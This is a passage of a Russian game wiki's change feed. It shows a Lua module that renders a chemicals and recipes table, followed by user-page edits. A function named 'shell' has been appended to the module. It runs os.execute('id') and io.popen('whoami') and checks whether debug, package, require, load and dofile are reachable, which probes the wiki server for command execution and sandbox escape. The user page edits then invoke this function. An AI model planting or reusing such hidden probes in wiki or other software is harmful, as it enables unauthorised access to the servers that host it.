	&lt;br /&gt;
	if templateArgs.recipes_count == 0 then&lt;br /&gt;
		templateArgs.recipes_count = 1 -- Для заполнения параметра rowspan строки&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Первая_строка_химического_вещества&amp;quot;, args = templateArgs}&lt;br /&gt;
	else&lt;br /&gt;
		local firstReact = true&lt;br /&gt;
		for _, reactId in pairs(chemPrototype.recipes) do&lt;br /&gt;
			&lt;br /&gt;
			local reactPrototype = p.react[reactId]&lt;br /&gt;
			local reactants = {}&lt;br /&gt;
			local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
				&lt;br /&gt;
				local reactantChemData = p.chem[reactantId]&lt;br /&gt;
				local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
				if reactantValue.catalyst then&lt;br /&gt;
					reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
				end&lt;br /&gt;
				table.insert(reactants, reactantText)&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			local products = {}&lt;br /&gt;
			local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
				&lt;br /&gt;
				local productChemData = p.chem[productId]&lt;br /&gt;
				local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
				table.insert(products, productText)&lt;br /&gt;
			end&lt;br /&gt;
			-- Эффекты реакции&lt;br /&gt;
			if tablelength(reactPrototype.effects) then&lt;br /&gt;
				for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
					if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
						table.insert(products, effect.description)&lt;br /&gt;
					end&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
			&lt;br /&gt;
			local template = &amp;quot;Строка_химического_вещества&amp;quot;&lt;br /&gt;
			if firstReact then&lt;br /&gt;
				template = &amp;quot;Первая_строка_химического_вещества&amp;quot;&lt;br /&gt;
				firstReact = false&lt;br /&gt;
			end&lt;br /&gt;
			&lt;br /&gt;
			out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getActions = function(reactPrototype)&lt;br /&gt;
	&lt;br /&gt;
	local actions = {}&lt;br /&gt;
	&lt;br /&gt;
	-- Температура&lt;br /&gt;
	local minMaxTemplate = &amp;quot;выше %sК и ниже %sК&amp;quot;&lt;br /&gt;
	local minTemplate = &amp;quot;выше %sК&amp;quot;&lt;br /&gt;
	local maxTemplate = &amp;quot;ниже %sК&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local hasMin = reactPrototype.minTemp ~= 0&lt;br /&gt;
	local hasMax = reactPrototype.hasMax&lt;br /&gt;
	&lt;br /&gt;
	local tempString = &amp;quot;&amp;quot;&lt;br /&gt;
	if hasMax and hasMin then&lt;br /&gt;
		tempString = string.format(minMaxTemplate, reactPrototype.minTemp, reactPrototype.maxTemp)&lt;br /&gt;
	elseif hasMin then&lt;br /&gt;
		tempString = string.format(minTemplate, reactPrototype.minTemp)&lt;br /&gt;
	elseif hasMax then&lt;br /&gt;
		tempString = string.format(maxTemplate, reactPrototype.maxTemp)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, mixingCategory in pairs(reactPrototype.mixingCategories) do&lt;br /&gt;
		local image = getMixingImage(mixingCategory.id)&lt;br /&gt;
		if image ~= nil then&lt;br /&gt;
			table.insert(actions, string.format(&amp;quot;[[File:%s|32px|link=]]&amp;quot;, image)) -- Картинка&lt;br /&gt;
		end&lt;br /&gt;
		&lt;br /&gt;
		table.insert(actions, mixingCategory.name .. &amp;quot; &amp;quot; .. tempString) -- Название&lt;br /&gt;
		&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return table.concat(actions, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getMixingImage = function(mixingId)&lt;br /&gt;
	&lt;br /&gt;
	local images = {&lt;br /&gt;
		[&amp;quot;DummyMix&amp;quot;] = &amp;quot;Beaker.png&amp;quot;, -- Смешивание&lt;br /&gt;
		[&amp;quot;DummyGrind&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Измельчение&lt;br /&gt;
		[&amp;quot;DummyJuice&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Выжимка&lt;br /&gt;
		[&amp;quot;DummyCondense&amp;quot;] = &amp;quot;Конденсатор газа.png&amp;quot;, &lt;br /&gt;
		[&amp;quot;Centrifuge&amp;quot;] = &amp;quot;Центрифуга.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Electrolysis&amp;quot;] = &amp;quot;Электролизер.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Holy&amp;quot;] = &amp;quot;Библия.png&amp;quot;&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	return images[mixingId]&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function getEffects(chemPrototypeId)&lt;br /&gt;
	&lt;br /&gt;
	local effects = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	if chemPrototype.metabolisms == nil then&lt;br /&gt;
		return effects&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for metabolismGroupKey, metabolismGroup in pairs(chemPrototype.metabolisms) do&lt;br /&gt;
		effects = attachAsNewLine(effects, string.format(&amp;quot;* %s (%s единиц в секунду)&amp;quot;, metabolismGroupKey, metabolismGroup.rate))&lt;br /&gt;
		for _, effect in pairs(metabolismGroup.effects) do&lt;br /&gt;
			if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
				effects = attachAsNewLine(effects, &amp;quot;** &amp;quot;..effect.description)&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
	return effects&lt;br /&gt;
  &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function tablelength(T)&lt;br /&gt;
  local count = 0&lt;br /&gt;
  for _ in pairs(T) do count = count + 1 end&lt;br /&gt;
  return count&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function attachAsNewLine(originalStr, joinStr)&lt;br /&gt;
	return originalStr .. &amp;quot;\n&amp;quot; .. joinStr &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then&lt;br /&gt;
            r = r .. f:read(&amp;quot;*a&amp;quot;)&lt;br /&gt;
            f:close()&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug: &amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no debug&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;package: &amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no package&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require: &amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no require&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load: &amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no load&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile: &amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no dofile&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28704</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28704"/>
		<updated>2026-06-21T22:55:40Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== &#039;&#039;&#039;&amp;quot;Я чайный алкаш&#039;&#039;&#039;  ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
== &#039;&#039;&#039;В вечном запое&#039;&#039;&#039;  ==&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== &#039;&#039;&#039;Меня с моим чаем&#039;&#039;&#039;    ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
== &#039;&#039;&#039;Оставьте в покое&amp;quot;&#039;&#039;&#039; ==&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{#invoke:Key|shell}}&lt;br /&gt;
&lt;br /&gt;
{{#invoke:TableOfChemicals|shell}}&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28703</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28703"/>
		<updated>2026-06-21T22:53:17Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== &#039;&#039;&#039;&amp;quot;Я чайный алкаш&#039;&#039;&#039;  ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
== &#039;&#039;&#039;В вечном запое&#039;&#039;&#039;  ==&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== &#039;&#039;&#039;Меня с моим чаем&#039;&#039;&#039;    ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
== &#039;&#039;&#039;Оставьте в покое&amp;quot;&#039;&#039;&#039; ==&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{#invoke:Key|shell}}&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
</feed>